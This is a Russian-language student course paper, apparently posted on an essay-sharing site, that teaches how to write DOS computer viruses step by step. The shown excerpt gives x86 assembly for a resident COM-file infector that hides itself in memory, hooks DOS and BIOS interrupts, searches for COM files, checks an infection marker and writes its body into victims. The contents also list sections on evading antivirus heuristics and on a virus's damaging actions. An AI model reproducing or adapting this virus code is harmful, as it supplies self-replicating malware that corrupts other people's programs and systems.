Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    это не так просто, как может показаться  на первый

    взгляд .И поэтому для  облегчения нашей работы вме-

    сто PID загруженной в  память программы мы  запишем

    в MCB вируса сегментный  адрес области данных DOS,

    а именно : 0070h :

 

    ; _______________________________________________

    ;| Теперь свободный блок  памяти найден           |

    ;| ( сегментный адрес  в AX ), и                  |

    ;| нужно записать в  него код вируса ...          |

    ;|_______________________________________________|

 

               xor di,di              ;Делаем вирус

               mov bx,ax              ;"невидимым" в

               dec bx                 ;памяти ...

               mov word ptr cs:[2],bx

               mov es,bx

               mov bx,0070h

               mov es:[di+1],bx

 

    Предыдущий  фрагмент  вернул нам сегментный  адрес

    выделенного для вируса  блока памяти в регистре AX.

    Приведенные  программные  строки  очень  просты, и

    объяснять их  работу  не нужно. Следует только ска-

    зать, что вирус фактически  отнимает у DOS несколь-

    ко килобайтов памяти, поэтому необходимо  скоррек-

    тировать PSP программы - носителя вируса.А именно-

    уменьшить верхнюю границу  блока памяти,выделенного

    программе,на длину вирусного  кода.Интересующая нас

    величина находится по  смещению 02h от начала PSP.

 

 

             2.10 Получаем вектора прерываний

 

    Итак, мы нашли блок памяти, в который  часть  ини-

    циализации  будет копировать вирусный код.Но  прежде

    чем  инсталлировать вирус в память, необходимо  уз-

    нать  адреса системных обработчиков  прерываний.Ведь

    вирус  будет вызывать эти обработчики   перед  ( или

    после  ) выполнением собственных действий по  обра-

    ботке  того или иного прерывания .Если  исходные об-

    работчики  не будут получать управление, вычислите-

    льная  система придет в аварийное  состояние .

    Поэтому  :

 

    ;_________________________________________________

 

               mov es,di              ;Получаем векто-

                                      ;ра прерываний

               cli

               mov di,084h            ;Int 21h ...

               mov bx,es:[di]

               mov old_21h,bx

               mov bx,es:[di+2]

               mov old_21h_2,bx

 

               mov di,0bch            ;Int 2fh ...

               mov bx,es:[di]

               mov old_2fh,bx

               mov bx,es:[di+2]

               mov old_2fh_2,bx

 

               mov di,04ch            ;Int 13h ...

               mov bx,es:[di]

               mov old_13h,bx

               mov bx,es:[di+2]

               mov old_13h_2,bx

 

               mov di,0a0h            ;Int 28h ...

               mov bx,es:[di]

               mov old_28h,bx

               mov bx,es:[di+2]

               mov old_28h_2,bx

               sti

 

    Как видим,  для определения   адресов  обработчиков

    вирус обращается непосредственно  к таблице  векто-

    ров прерываний.Секция  инициализации будет перехва-

    тывать прерывания: Int 21h, Int 13h, Int 28h и Int

    2fh.Несколько позже мы  разберемся, почему потребо-

    валось перехватить именно  их и приведем тексты ви-

    русных обработчиков  этих прерываний.

 

 

           2.11 Копируем вирусный код в память

 

    Теперь настало время  переписать в память код виру-

    са и подготовить его  к работе в резидентном   режи-

    ме :

 

               mov word ptr vir,9090h ;Подготавливаем

               mov tg_infect,0        ;вирус  к рези-

                                      ;дентной работе

 

               mov es,ax              ;И копируем его

               xor di,di              ;в память...

               mov cx,vir_len

    prg_copy:  mov bl,byte ptr vir[di]

               mov byte ptr es:[di],bl

              inc di

               loop prg_copy

 

    В  самом начале нужно сбросить в  ноль  переменную

    " tg_infect ", чтобы вирус  не занимался заражением

    файлов, пока его об  этом не попросят .Далее,в пер-

    вые два байта кода  вируса,  который мы  собираемся

    записывать в память, следует записать две  команды

    NOP, или код 9090h ( см  п. 2.2 ) .

    Теперь тело вируса  просто копируется в блок  памя-

    ти, сегментный адрес  которого задан в регистре AX.

 

 

          2.12 Устанавливаем  вектора прерываний

                 на вирусные обработчики

 

    Все подготовительные  действия выполнены, и нам то-

    лько осталось заменить  адреса системных обработчи-

    ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh

    на адреса вирусных  обработчиков,после чего необхо-

    димо передать управление  зараженной программе .Это

    мы сейчас и сделаем  :

 

               xor bx,bx              ;Устанавливаем

                                      ;вектора преры-

       mov es,bx              ;ваний на вирус-

               cli                    ;ные обработчики

               mov di,084h

               mov word ptr es:[di],to_new_21h

               mov es:[di+2],ax       ; Int 21h

 

               mov di,0bch

               mov word ptr es:[di],to_new_2fh

               mov es:[di+2],ax       ; Int 2fh

 

       mov di,04ch

               mov word ptr es:[di],to_new_13h

               mov es:[di+2],ax       ; Int 13h

 

       mov di,0a0h

               mov word ptr es:[di],0

               mov es:[di+2],ax       ; Int 28h

               sti

 

               jmp fresh_bytes        ;Установка

                                      ;завершена ...

 

    Модификация векторов  прерываний в особых коммента-

    риях не  нуждается  . А команда " jmp fresh_bytes "

    передает управление  на программный код,выполняющий

    восстановление исходных трех байт программы - жер-

    твы .

    Таким образом, мы  разработали секцию инициализации

    нашего вируса . И поэтому  настало время перейти  к

    созданию резидентной  секции .Все оставшиеся пункты

    этой главы будут посвящены  именно разработке рези-

    дентной части .

 

 

               2.13 Пишем резидентную часть

 

    Начало резидентной части  мы создали в первых пунк-

    тах главы ( см п. 2.5 ).А теперь просто продолжим,

    и допишем до конца  "заразную" часть вирусной  про-

    граммы :

 

    infect:    push cs                ;DS = CS ...

               pop ds

 

               mov ax,ds              ;TSR - коррекция

               sub ax,11h             ;DS ...

               mov ds,ax

 

               cmp tg_13h,0           ;INT 13h

                                      ;выполняется ?

               je cs:all_right        ;Нет ...

               jmp cs:exit_zarasa     ;Да - на выход

 

    Сразу за меткой " infect " мы записали команды ко-

    торые корректируют  содержимое DS при работе в ре-

    зидентном  режиме .Если этого не сделать,  то отно-

    сительный  адрес каждой ячейки памяти  придется уме-

    ньшать  на 110h ( см п. 2.5 ).Далее вирус проверяет

    значение  переменной "tg_13h" .Дело в том,что  рези-

    дентный  вирус  обязательно должен заражать  файлы,

    находясь  в памяти, и поэтому без обращения  к диску

    в резидентном  режиме нам не обойтись.Такое  обраще-

    ние,  естественно, должно происходить   только  в те

    моменты,когда  никакие другие программы не  работают

    с диском .Если это условие не соблюдается,  непре-

    менно  возникнет программный конфликт, что приведет

    к неприятным  последствиям .Особенно это  относится

    к тем  случаям,когда на машине установлен  какой-ни-

    будь кэш ( например,  SMARTDRIVE или HYPERDISK ) .

    В этом случае может  случиться так, что вирус и  кэш

    попробуют обратиться  к диску  одновременно,  а  это

    недопустимо !

    Решить проблему помогает  введение переменной "tg_

    13h" .Она принимает  значение " 1 ", когда к  диску

    выполняется обращение, или значение " 0 ", если  в

    данный момент обращения  к диску нет.Для  инициали-

    зации переменной используется  специальный "фильтр"

    прерывания Int 13h, который  будет описан ниже .

    Итак, если " tg_13h " равна  " 1 ",вирус возвращает

    управление прерванной  программе,в противном случае

    работа вирусного кода  продолжается .

 

 

                 2.14 Заражаем COM - файл

 

    В случае, если  прерывание Int 13h не выполняется,

    можно   заняться поиском подходящего  COM - файла  и

    его  заражением.Этот процесс практически  не отлича-

    ется  от действий нерезидентного вируса,  и поэтому

    мы  просто используем разработанный  ранее блок,  не

    останавливаясь  подробно на его работе :

 

    all_right: mov ah,2fh             ;Получим текущую

               int 21h                ;DTA ( ES : BX )

 

               mov bp,bx

 

       mov cx,80h             ;Сохраним эту

       lea si,dta_save        ;DTA ...

               mov di,bp

    save_dta:

       mov al,byte ptr es:[di]

      mov [si],al

       inc si

               inc di

       loop cs:save_dta

 

    find_first:                       ;Найдем первый

       mov ah,4eh             ;файл ...

       mov cx,00100111b

       lea dx,maska

       int 21h

       jnc cs:retry_2

       jmp restore_dta

 

    find_next: mov ah,3eh             ;Закроем непод-

       int 21h                ;ходящий файл

       jnc cs:retry_1

       jmp cs:restore_dta

 

    retry_1:   mov ah,4fh             ;Найдем следую-

       int 21h                ;щий ...

       jnc cs:retry_2

       jmp cs:restore_dta

 

    retry_2:   mov cx,12              ;Сотрем старое

       lea si,fn              ;имя в буфере

    destroy_name:

       mov byte ptr [si],0

       inc si

       loop cs:destroy_name

 

               xor si,si              ;И запишем туда

         mov di,bp              ;новое ...

    copy_name: mov al,byte ptr es:[di+1eh]

       cmp al,0

       je cs:check_command

       mov byte ptr fn[si],al

       inc si

               inc di

      jmp cs:copy_name

 

    check_command:

                                      ;Проверим, не

                                      ;является - ли

               call cs:search         ;файл  командным

               cmp inside,1           ;процессором...

               je cs:retry_1

 

               mov ax,3d02h           ;Откроем этот

       lea dx,fn              ;файл ...

       int 21h

       jnc cs:save_bytes

       jmp cs:restore_dta

 

    save_bytes:                       ;Считаем первые

       mov bx,ax              ;три байта

       mov ah,3fh

       mov cx,3

       lea dx,old_bytes

       int 21h

       jnc cs:found_size

       jmp cs:close

 

    found_size:mov di,bp

               cmp word ptr es:[di+01ch],0

               jne cs:more_64K        ;Найдем его раз-

       mov ax,es:[di+01ah]    ;мер ...

 

    count_size:mov si,ax              ;Вычислим

                                      ;смещения ...

       cmp ax,64000

       jna cs:smallest

    more_64K:  jmp cs:find_next

    smallest:  test ax,000fh

       jz cs:krat_16

       or ax,000fh

       inc ax

    krat_16:   mov di,ax

       sub ax,3

       mov byte ptr new_bytes[1],al

       mov byte ptr new_bytes[2],ah

       mov ax,di

       mov cl,4

       shr ax,cl

       dec ax

       mov byte ptr add_to_ds,al

       mov byte ptr add_to_ds+1,ah

 

       mov ax,4200h           ;Считаем послед-

       xor cx,cx              ;ний байт ...

       dec si

       mov dx,si

       int 21h

       jnc cs:read_last

       jmp cs:close

 

    read_last:

       mov ah,3fh

       mov cx,1

       lea dx,last

       int 21h

       jc cs:close

 

       cmp last,'1'           ;Индикатор зара-

       jne cs:write_vir       ;жения ...

       jmp cs:find_next

 

    write_vir: mov ax,4200h           ;Запишем начало

       xor cx,cx              ;вируса ...

       mov dx,di

       int 21h

       jc cs:close

 

               mov ah,40h

               mov cx,2

               lea dx,end_file

               int 21h

               jc cs:close

                                      ;И остальную

               mov ah,40h             ;часть ...

               mov cx,vir_len - 2

               lea dx,vir + 2

               int 21h

               jc cs:close

 

    write_bytes:                      ;Запишем первые

       mov ax,4200h           ;три байта

       xor cx,cx

      xor dx,dx

       int 21h

       jc cs:close

 

               mov ah,40h

               mov cx,3

               lea dx,new_bytes

               int 21h

 

    close:     mov ah,3eh             ;Закроем зара-

               int 21h                ;женный файл

 

    restore_dta:

               mov cx,80h             ;Восстановим DTA

       lea si,dta_save

               mov di,bp

    dta_fresh:

               mov al,[si]

       mov byte ptr es:[di],al

       inc si

               inc di

       loop cs:dta_fresh

 

    Как видите, в созданный ранее фрагмент были внесе-

    ны некоторые изменения,  в которых мы сейчас и раз-

    беремся .

    Поскольку вирус будет  заражать файлы в резидентном

    режиме,он будет пользоваться DTA активной в данный

    момент программы,что приведет к ее разрушению.Что-

    бы этого не происходило,  нужно сохранить ее в  об-

    ласти данных вируса, а после завершения работы  ви-

    руса - восстановить.Получить  адрес текущей DTA мо-

    жно с помощью функции  DOS 2Fh, которая и использу-

Информация о работе Вирусы